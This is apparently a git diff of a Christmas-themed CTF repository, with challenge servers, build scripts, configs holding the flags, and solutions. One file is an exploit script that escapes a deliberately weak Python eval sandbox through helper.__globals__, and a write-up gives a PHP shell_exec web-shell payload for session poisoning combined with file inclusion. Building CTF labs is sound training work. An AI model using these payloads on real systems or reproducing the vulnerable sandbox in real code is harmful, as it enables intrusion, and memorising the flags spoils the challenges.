# A fun “corrupted” header for the Xmas CTF challenge (8 bytes)
CORRUPTED_MAGIC = b"XMASCTF!" # exactly 8 bytes
def generate_challenge(input_png: Path, output_png: Path) -> None:
"""
Read a valid PNG, replace the first 8 bytes (magic number) with a corrupted
value, and write out the challenge PNG.
"""
data = input_png.read_bytes()
if not data.startswith(PNG_MAGIC):
print(
"[!] Warning: Input file does not start with a valid PNG signature. "
"Are you sure it's a PNG?"
)
if len(data) < 8:
raise ValueError("Input file is too small to be a valid PNG.")
corrupted = CORRUPTED_MAGIC + data[8:]
output_png.write_bytes(corrupted)
print(f"[+] Challenge written to: {output_png}")
print(f"[+] First 8 bytes changed from PNG magic to: {CORRUPTED_MAGIC!r}")
def solve_challenge(corrupted_png: Path, fixed_png: Path) -> None:
"""
Read a corrupted PNG (with broken magic number), restore the correct
PNG magic number, and write out the fixed PNG.
"""
data = corrupted_png.read_bytes()
if len(data) < 8:
raise ValueError("Corrupted file is too small to be a PNG.")
original_header = data[:8]
fixed = PNG_MAGIC + data[8:]
fixed_png.write_bytes(fixed)
print(f"[+] Fixed PNG written to: {fixed_png}")
print(f"[+] Replaced header {original_header!r} with {PNG_MAGIC!r}")
def main():
parser = argparse.ArgumentParser(
description="Xmas CTF: Magic Route - PNG magic number corrupter/solver."
)
subparsers = parser.add_subparsers(dest="command", required=True)
# generate subcommand
gen = subparsers.add_parser(
"generate", help="Generate a corrupted PNG challenge from a valid PNG."
)
gen.add_argument("input", type=Path, help="Path to a valid input PNG.")
gen.add_argument(
"output",
type=Path,
nargs="?",
help="Path to write corrupted challenge PNG (default: challenge.png)",
)
# solve subcommand
solve = subparsers.add_parser(
"solve",
help="Fix a corrupted PNG (restore correct magic number).",
)
solve.add_argument("input", type=Path, help="Path to the corrupted PNG.")
solve.add_argument(
"output",
type=Path,
nargs="?",
help="Path to write fixed PNG (default: fixed.png)",
)
args = parser.parse_args()
if args.command == "generate":
input_png = args.input
output_png = args.output or Path("challenge.png")
generate_challenge(input_png, output_png)
elif args.command == "solve":
corrupted_png = args.input
fixed_png = args.output or Path("fixed.png")
solve_challenge(corrupted_png, fixed_png)
if __name__ == "__main__":
main()

BIN
Misc/Medium/.DS_Store vendored Normal file

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,14 @@
FROM python:3.12-alpine
RUN adduser -D ctf
WORKDIR /app
COPY main.py .
EXPOSE 9000
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
USER ctf
ENTRYPOINT ["/entrypoint.sh"]

View File

@ -0,0 +1,11 @@
#!/usr/bin/env sh
set -e
case "${1:-}" in
local)
exec python3 main.py
;;
*)
exec python3 main.py server 0.0.0.0 9000
;;
esac

View File

@ -0,0 +1,215 @@
#!/usr/bin/env python3
import os
import sys
import socketserver
import random
import io
FLAG_PRICE = 1_000_000
INITIAL_COINS = 50 # tiny starting balance
MAX_TURNS = 10
MAX_LEGAL_LOAN = 1000 # max positive amount per loan
def load_flag():
# Flag is supplied via environment variable
return os.getenv("FLAG", "XMAS{dummy_flag_for_testing}")
def to_int(s: str) -> int:
return int(s.strip())
def add_coins(balance: int, delta: int) -> int:
"""
Update the balance using 32-bit unsigned wraparound.
This is the core bug: using a 32-bit "safe" ledger but letting the
user control delta directly (including large negatives).
"""
return (balance + delta) & 0xFFFFFFFF
def play_game(reader, writer):
"""
Core game logic. Works with any text reader/writer pair.
- CLI mode: stdin/stdout
- TCP mode: wrapped socket rfile/wfile
"""
flag = load_flag()
coins = INITIAL_COINS
price = FLAG_PRICE
turns = 0
def send(line: str = ""):
writer.write(line + "\n")
writer.flush()
send("=== Grinch's Lottery ===")
send("Welcome to Whoville's shadiest Christmas lottery!")
send("You start with a few coal-coins. Win enough to buy the special prize.")
send(f"The shiny present costs {price} coins.")
send("")
while turns < MAX_TURNS:
turns += 1
send(f"\n[Turn {turns}/{MAX_TURNS}] Your balance: {coins} coins")
send("Choose an action:")
send(" 1) Work a little (earn some coins)")
send(" 2) Buy lottery tickets (10 coins each)")
send(" 3) Take a shady loan from the Grinch")
send(" 4) Buy the shiny present")
send(" 5) Exit")
send("> ")
choice = reader.readline()
if not choice:
break
choice = choice.strip()
if choice == "1":
# Small honest income, no way to reach the flag fairly
earn = random.randint(1, 20)
coins = add_coins(coins, earn)
send(f"You did some odd jobs for the Whos and earned {earn} coins.")
elif choice == "2":
# Lottery tickets that cost coins and rarely pay out
send("How many tickets do you want to buy? (10 coins each)")
send("> ")
line = reader.readline()
if not line:
break
try:
n = to_int(line)
except ValueError:
send("That's not even a number. The Grinch laughs you out of town.")
break
# Make lottery 'honest' so it's not the exploit:
if n <= 0:
send("You must buy at least 1 ticket, no refunds.")
continue
cost = 10 * n
# If you can't afford it, don't touch the balance at all
if cost > coins:
send("You don't have enough coins for that many tickets.")
send("The Grinch refuses to give you credit for lottery tickets.")
continue
# Now this subtraction is safe (no wrap) because cost <= coins
coins = add_coins(coins, -cost)
send(f"You bought {n} tickets for {cost} coins.")
wins = 0
# Cap iteration count so people can't hang the server
for _ in range(min(n, 1000)):
if random.random() < 0.05:
prize = random.randint(5, 50)
coins = add_coins(coins, prize)
wins += 1
if wins:
send(f"You won on {wins} ticket(s)! Your luck slightly improves.")
else:
send("No luck this time. The Grinch grins.")
elif choice == "3":
# Shady loan service with a "safety limit"... that only checks positive amounts.
send("How much do you want from the Grinch's loan shark service?")
send("> ")
line = reader.readline()
if not line:
break
try:
delta = to_int(line)
except ValueError:
send("You mumble nonsense. The Grinch gets bored and leaves.")
break
# Safety check that *only* constrains positive loans.
if delta > MAX_LEGAL_LOAN:
send("Too risky! The Grinch's auditor caps loans at "
f"{MAX_LEGAL_LOAN} coins per request.")
send("Smaller loans only, please.")
continue
# Negative values are not checked at all. This is the intended bug:
# a large negative 'repayment' will underflow and wrap to a huge balance.
before = coins
coins = add_coins(coins, delta)
send(f"Ledger update: {before} -> {coins} (delta: {delta})")
elif choice == "4":
# Check if the player can afford the flag
if coins >= price:
send("You jingle enough coins to buy the shiny present!")
send(f"Inside you find a note: {flag}")
send("Merry XMAS and beware of greedy Grinches.")
return
else:
price += FLAG_PRICE # price goes up if you try to buy without enough coins
send(f"Not enough coins. The Grinch cackles and raises the price to {price} coins.")
elif choice == "5":
send("You leave the lottery, slightly colder but maybe wiser.")
return
else:
send("The Grinch doesn't recognize that option and kicks you out.")
return
send("The Grinch closes the stand for the night. Come back with a better plan.")
# === TCP server glue (thread-per-connection, like gunicorn workers) ===
class GrinchHandler(socketserver.StreamRequestHandler):
def handle(self):
# Simple timeout so connections don't hang forever
self.request.settimeout(60)
# Wrap the raw socket file descriptors into text-mode file objects
reader = io.TextIOWrapper(self.rfile, encoding="utf-8", newline="\n")
writer = io.TextIOWrapper(
self.wfile,
encoding="utf-8",
newline="\n",
write_through=True,
)
try:
play_game(reader, writer)
except Exception:
# Hide internals from players
try:
writer.write("An error occurred. The Grinch eats the stack trace.\n")
writer.flush()
except Exception:
pass
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
# Basic "load balancing": one thread per client connection
allow_reuse_address = True
daemon_threads = True
def run_server(host: str = "0.0.0.0", port: int = 9000):
with ThreadedTCPServer((host, port), GrinchHandler) as server:
server.serve_forever()
if __name__ == "__main__":
# Usage:
# ./grinch_lottery.py -> CLI mode on stdin/stdout
# ./grinch_lottery.py server -> TCP server 0.0.0.0:9000
# ./grinch_lottery.py server HOST PORT
if len(sys.argv) >= 2 and sys.argv[1] == "server":
host = sys.argv[2] if len(sys.argv) >= 3 else "0.0.0.0"
port = int(sys.argv[3]) if len(sys.argv) >= 4 else 9000
run_server(host, port)
else:
# CLI mode: interact via stdin/stdout (no network)
reader = sys.stdin
writer = sys.stdout
play_game(reader, writer)

View File

@ -0,0 +1,15 @@
slug: grinchs_lottery
title: "Grinch's Lottery"
description: "The Grinch has opened a crooked Christmas lottery stand, tempting villagers with the promise of a “shiny present” that no one could ever afford through honest means. But his ancient 32-bit coin ledger is riddled with flaws, and only someone clever enough to twist his shady loan system can outsmart him and steal the holiday prize."
category: "misc"
points: 500
is_visible: true
complexity: 5
zip: "local"
hints:
- text: "Try inputting different numbers that program does not expect."
penalty_points: -10
flag_plaintext: "CTF{n3v3r_tru5t_4_gr1nch_l0tt3ry}"
service_webshell: true
service_shell_cmd: "/bin/sh"
service_shell_args: "/entrypoint.sh local"

BIN
Misc/Medium/Matryoshka.zip Normal file

Binary file not shown.

BIN
Misc/Medium/Matryoshka/.DS_Store vendored Normal file

Binary file not shown.

View File

@ -0,0 +1 @@
CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 MiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 MiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 902 KiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 372 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1014 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 806 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 542 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 372 KiB

View File

@ -0,0 +1,15 @@
slug: matryoshka
title: "Matryoshka"
description: "Deep in Santa's workshop, a mysterious gift appeared: a painted Matryoshka doll sealed tight, each layer hiding another secret beneath colorful winter scenes. Only by peeling back all five enchanted shells can you uncover the final present tucked inside - Santa's lost Christmas flag."
category: "misc"
points: 600
is_visible: true
complexity: 6
attachments:
- "public/matryoshka.png"
hints:
- text: "Image size is suspiciously huge, maybe there is something hidden inside?"
penalty_points: -20
- text: "Try using binwalk and extracting hidden data."
penalty_points: -40
flag_plaintext: "CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}"

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 MiB

View File

@ -0,0 +1,89 @@
#!/usr/bin/env python3
import os
import sys
import zipfile
LAYER_COUNT = 5
OUTER_NAME = "matryoshka.png"
FLAG_TEXT = "CTF{h3ll0_d3xt3r_m0rg4n_m4try0shk4!}"
def append_file_to_png(png_path: str, extra_path: str, out_path: str):
with open(png_path, "rb") as f_png, open(extra_path, "rb") as f_extra, open(out_path, "wb") as f_out:
f_out.write(f_png.read())
f_out.write(f_extra.read())
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <folder_with_5_pngs>")
sys.exit(1)
input_dir = sys.argv[1]
if not os.path.isdir(input_dir):
print(f"[-] Not a directory: {input_dir}")
sys.exit(1)
# Collect PNGs and sort them for deterministic order
pngs = [f for f in os.listdir(input_dir) if f.lower().endswith(".png")]
pngs.sort()
if len(pngs) < LAYER_COUNT:
print(f"[-] Need at least {LAYER_COUNT} PNG files in {input_dir}, found {len(pngs)}")
sys.exit(1)
# Use exactly the first LAYER_COUNT PNGs
pngs = pngs[:LAYER_COUNT]
print("[+] Using these PNGs as layers (outermost -> innermost):")
for i, name in enumerate(pngs, start=1):
print(f" Layer {i}: {name}")
os.makedirs("build", exist_ok=True)
# 1) Create innermost: flag.txt -> zipN -> imageN_with_zip
flag_path = os.path.join("build", "flag.txt")
with open(flag_path, "w") as f:
f.write(FLAG_TEXT + "\n")
# Innermost index
innermost_idx = LAYER_COUNT - 1
innermost_png_original = os.path.join(input_dir, pngs[innermost_idx])
zip_path = os.path.join("build", f"layer{LAYER_COUNT}.zip")
with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z:
z.write(flag_path, arcname="flag.txt")
embedded_png_path = os.path.join("build", f"layer{LAYER_COUNT}_embedded.png")
append_file_to_png(innermost_png_original, zip_path, embedded_png_path)
inner_file = embedded_png_path # this will be zipped into the next outer layer
# 2) Build outer layers (N-1 down to 1)
for layer in range(LAYER_COUNT - 1, 0, -1):
png_name = pngs[layer - 1]
png_original = os.path.join(input_dir, png_name)
# zip containing the previous (inner) embedded image
zip_path = os.path.join("build", f"layer{layer}.zip")
with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z:
# Store it under a generic name inside the zip
z.write(inner_file, arcname=f"inner_layer.png")
# append that zip to this layer's original PNG
embedded_png_path = os.path.join("build", f"layer{layer}_embedded.png")
append_file_to_png(png_original, zip_path, embedded_png_path)
inner_file = embedded_png_path
# 3) Copy the outermost embedded PNG as final challenge file
with open(inner_file, "rb") as f_in, open(OUTER_NAME, "wb") as f_out:
f_out.write(f_in.read())
print(f"[+] Created final challenge file: {OUTER_NAME}")
print("[+] Intermediate files are in the build/ directory.")
if __name__ == "__main__":
main()

View File

@ -0,0 +1,10 @@
FROM python:3.11-slim
WORKDIR /app
COPY . /app
EXPOSE 9000
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

View File

@ -0,0 +1,17 @@
#!/usr/bin/env bash
set -e
# If FLAG is set, write it to /app/flag.txt
if [ -n "$FLAG" ]; then
echo "$FLAG" > /app/flag.txt
chmod 644 /app/flag.txt
fi
case "${1:-}" in
local)
exec python3 server.py --mode stdin
;;
*)
exec python3 server.py
;;
esac

View File

@ -0,0 +1,46 @@
#!/usr/bin/env python3
"""
exploit.py - demonstrates the sandbox escape for the CTF challenge.
Connects to the REPL, evaluates an expression that uses helper.__globals__
to access the real '__builtins__' mapping and open 'flag.txt'.
"""
import socket
import sys
if len(sys.argv) < 3:
print("Usage: python3 exploit.py <host> <port>")
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
def recv_until(s, marker=b">> "):
data = b""
while True:
part = s.recv(4096)
if not part:
break
data += part
if data.endswith(marker):
break
return data
# Connect
s = socket.create_connection((HOST, PORT))
banner = recv_until(s)
print(banner.decode())
# Craft expression that reads flag using helper.__globals__ to get builtins
payload = "helper.__globals__['__builtins__']['open']('flag.txt').read()"
print("[*] Sending payload:", payload)
s.send((payload + "\n").encode())
resp = recv_until(s)
print("Response:")
print(resp.decode())
# Quit politely
s.send(b"QUIT\n")
s.close()

View File

@ -0,0 +1,15 @@
slug: north_pole_repl
title: "North Pole REPL"
description: "A “safe” Python REPL is exposed over TCP by North Pole software developers. You can type Python expressions and get results. The service claims to be sandboxed (restricted builtins), but a helper object is available in the REPL and can be abused to escape the sandbox and read flag.txt."
category: "misc"
points: 700
is_visible: true
complexity: 7
zip: "local"
hints:
- text: "The REPL claims to be sandboxed. Try small Python expressions and introspection functions to learn what's available."
penalty_points: 10
flag_plaintext: "CTF{s4f3_r3pl_1s_n0t_s0_s4f3}"
service_webshell: true
service_shell_cmd: "/bin/bash"
service_shell_args: "/entrypoint.sh local"

View File

@ -0,0 +1,175 @@
#!/usr/bin/env python3
"""
Sandbox Slip - CTF challenge (medium, misc)
Supports two modes:
- TCP (default): listens on HOST:PORT and serves a netcat-style REPL for each connection.
- STDIN: reads lines from stdin and writes results to stdout (local interactive mode).
Usage:
python3 server.py # TCP mode (default)
python3 server.py --mode stdin # stdin/stdout REPL
python3 server.py --host 0.0.0.0 --port 9000
"""
import socketserver
import threading
import sys
import traceback
import os
import argparse
HOST = "0.0.0.0"
PORT = 9000
FLAG_FILE = "flag.txt"
WELCOME = """Welcome to PySafe REPL v0.3
This REPL runs your Python expressions in a restricted environment.
Type a single expression per line. Type QUIT to exit.
Available helper object: helper
>> """
# Vulnerable helper intentionally included to demonstrate sandbox escape.
def helper():
"""A small helper function that does nothing useful for players."""
return "helpful"
# Ensure flag exists
if not os.path.exists(FLAG_FILE):
with open(FLAG_FILE, "w") as f:
f.write("CTF{sandbox_slip_helper_globals}\n")
# Prepare the sandbox environment (shared by TCP and STDIN modes)
# Note: __builtins__ is set to empty dict to simulate a naive sandbox.
safe_globals = {"__builtins__": {}}
safe_locals = {"helper": helper}
def evaluate_source(src: str, g: dict, l: dict):
"""
Evaluate a single-line source in the restricted environment.
Tries eval() first, then exec() for statements.
Returns a tuple (success:bool, output:str).
"""
src = src.rstrip("\n")
if src.strip().upper() == "QUIT":
return True, "QUIT"
if src.strip() == "":
return True, "" # empty line -> no output
try:
# Try eval for expressions
result = eval(src, g, l)
return True, repr(result)
except SyntaxError:
# Try exec for statements
try:
exec(src, g, l)
return True, "OK"
except Exception as e:
tb = traceback.format_exc()
return False, f"Execution error: {e}"
except Exception as e:
return False, f"Error: {e}"
# ---------- TCP handler ----------
class REPLHandler(socketserver.StreamRequestHandler):
def handle(self):
addr = self.client_address[0]
print(f"[+] Connection from {addr}")
# Use instance-local copies so per-connection state can diverge if needed
g = safe_globals
l = safe_locals
try:
self.wfile.write(WELCOME.encode())
while True:
line = self.rfile.readline()
if not line:
break
src = line.decode().rstrip("\n")
if src.strip().upper() == "QUIT":
self.wfile.write(b"Goodbye.\n")
break
ok, out = evaluate_source(src, g, l)
# If source was empty, don't print extra blank line (just prompt)
if out == "":
self.wfile.write(b">> ")
continue
# If QUIT sentinel returned
if out == "QUIT":
self.wfile.write(b"Goodbye.\n")
break
# Send result or error
self.wfile.write((out + "\n").encode())
self.wfile.write(b">> ")
except ConnectionResetError:
pass
except Exception as e:
print("Handler exception:", e)
finally:
print(f"[-] Disconnected {addr}")
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = True
def run_tcp_server(host: str, port: int):
srv = ThreadedTCPServer((host, port), REPLHandler)
print(f"Sandbox Slip (TCP) listening on {host}:{port}")
try:
srv.serve_forever()
except KeyboardInterrupt:
print("Shutting down TCP server...")
srv.shutdown()
srv.server_close()
# ---------- STDIN / STDOUT loop ----------
def run_stdin_server():
"""
Interactive REPL on stdin/stdout. Useful for local testing.
Reads from sys.stdin, writes responses to sys.stdout, prompts with '>> '.
"""
g = safe_globals
l = safe_locals
sys.stdout.write(WELCOME)
sys.stdout.flush()
try:
while True:
# Read one line from stdin
line = sys.stdin.readline()
if not line:
# EOF
break
src = line.rstrip("\n")
if src.strip().upper() == "QUIT":
sys.stdout.write("Goodbye.\n")
sys.stdout.flush()
break
ok, out = evaluate_source(src, g, l)
if out == "":
sys.stdout.write(">> ")
sys.stdout.flush()
continue
if out == "QUIT":
sys.stdout.write("Goodbye.\n")
sys.stdout.flush()
break
sys.stdout.write(out + "\n")
sys.stdout.write(">> ")
sys.stdout.flush()
except KeyboardInterrupt:
sys.stdout.write("\nInterrupted. Exiting.\n")
sys.stdout.flush()
# ---------- CLI ----------
def main():
parser = argparse.ArgumentParser(description="Sandbox Slip (TCP or STDIN REPL)")
parser.add_argument("--mode", choices=["tcp", "stdin"], default="tcp",
help="Run mode: 'tcp' to listen on network (default), 'stdin' for local REPL")
parser.add_argument("--host", default=HOST, help="Host to bind in TCP mode")
parser.add_argument("--port", type=int, default=PORT, help="Port to bind in TCP mode")
args = parser.parse_args()
if args.mode == "stdin":
run_stdin_server()
else:
run_tcp_server(args.host, args.port)
if __name__ == "__main__":
main()

BIN
Networking/.DS_Store vendored Normal file

Binary file not shown.

BIN
Networking/Easy/.DS_Store vendored Normal file

Binary file not shown.

BIN
Networking/Easy/Master of Sea/.DS_Store vendored Normal file

Binary file not shown.

View File

Before

Width:  |  Height:  |  Size: 59 KiB

After

Width:  |  Height:  |  Size: 59 KiB

View File

@ -0,0 +1,2 @@
ZMQ9HI; k$qoI?k$@
G^W7FW?

View File

@ -0,0 +1,15 @@
slug: xored_ftp
title: "XORed FTP"
description: "Elf Bob wants to send a file containing confidential information to his bestie elf alice. Little his knows is that he uses insecure FTP and Grinch is eavesdropping on the connection. However, Bob is a bit more cautious this time and XORs the file with a key before sending it over FTP. Can you help Eve recover the original file and find the flag hidden inside?"
category: "networking"
points: 700
is_visible: true
complexity: 7
attachments:
- "dump.pcapng"
flag_plaintext: "EntySec{x0r3d_f1l3_0v3r_ftp_1s_s3cur3}"
hints:
- text: "FTP password is the same password as for the file."
penalty_points: 10
- text: "File is encrypted using one-time pad."
penalty_points: 20

Binary file not shown.

View File

@ -1,2 +1,8 @@
# NoN-CTF
<h3 align="center"><img src="docs/logo.png" alt="logo" width="50%"></h3>
<h3 align="center"><strong>Naughty or Nice CTF</strong></h4>
<p align="center">
<br>Unwrap festive flags and unleash your inner hacker in a
<br>Christmas CTF where being naughty or nice is all part of the game.
</p>

BIN
Web/.DS_Store vendored Normal file

Binary file not shown.

BIN
Web/Easy/.DS_Store vendored Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,14 @@
FROM php:7.2-apache
COPY . /var/www/html/
# Permissions
RUN chmod -R 755 /var/www/html/assets && \
find /var/www/html/assets/img -type d -exec chmod 755 {} \; && \
find /var/www/html/assets/img -type f -exec chmod 644 {} \;
# Copy entrypoint script
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

View File

@ -0,0 +1,28 @@
## Big Software Foundation
Big Software Foundation or BSF, one of the largest software development companies finally launched their website after a long break. They asked us to assess their security, can you help us find a flaw in their system or is it impenetrable?
<h3 align="center">
<img width="100%" src="./index.png">
</h3>
### Solution
There are few ways how this challenge can be solved. One of these ways it by PHP session poisoning. For this you need to locate "Sign For Newsletter" form and send payload
instead of email. Payload should look like this:
```php
<?=shell_exec($_GET[cmd]);?>
```
<h3 align="center">
<img width="100%" src="./email.png">
</h3>
Now, since we obviously have local file inclusion vulnerability in `?page=` parameter we can access our session at `/tmp/sess_<PHPSESSID>`. Accessing it through `?page=/tmp/sess_<PHPSESSID>&cmd=cat+flag.txt` would lead to RCE reading `flag.txt`
**NOTE:** Doing `?page=flag.txt` won't work because code prohibits direct access to this file.
<h3 align="center">
<img width="100%" src="./denied.png">
</h3>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 MiB

View File

@ -0,0 +1,8 @@
<div class="card p-4">
<h1>About Us</h1>
<p>Welcome to the Big Software Foundation, where we grow software to help businesses thrive. Founded in 2010, we have been at the forefront of delivering innovative software solutions tailored to meet the unique needs of our clients.</p>
<h3>Our Mission</h3>
<p>Our mission is to empower businesses with cutting-edge technology, enabling them to achieve their goals efficiently and effectively. We believe in the power of software to transform industries and drive growth.</p>
<h3>Our Team</h3>
<p>Our team consists of experienced software developers, database experts, and cloud specialists who are passionate about solving complex problems and delivering high-quality solutions.</p>
</div>

View File

@ -0,0 +1,59 @@
body {
background-color: #f5f5dc;
margin-bottom: 100px; /* Add margin to prevent content from being hidden behind the footer */
}
.header {
background: url('../img/grass.jpg') no-repeat center center;
background-size: cover;
height: 200px;
display: flex;
align-items: center;
padding-left: 20px;
}
.header img {
height: 100px;
}
.navbar {
background-color: #556b2f;
padding: 15px;
box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1);
}
.navbar-brand {
font-size: 1.5rem;
font-weight: bold;
}
.navbar-nav {
margin-left: auto;
}
.navbar a {
color: white !important;
font-weight: 600;
transition: color 0.3s ease-in-out;
}
.navbar a:hover {
color: #d2b48c !important;
}
.card {
background-color: #d2b48c;
}
/* Footer styles */
footer {
position: fixed;
bottom: 0;
left: 0;
width: 100%;
background-color: #556b2f;
color: white;
padding: 10px 20px;
display: flex;
justify-content: space-between;
align-items: center;
box-shadow: 0px -4px 6px rgba(0, 0, 0, 0.1);
}
footer a {
color: #d2b48c;
text-decoration: none;
}
footer a:hover {
text-decoration: underline;
}

Some files were not shown because too many files have changed in this diff Show More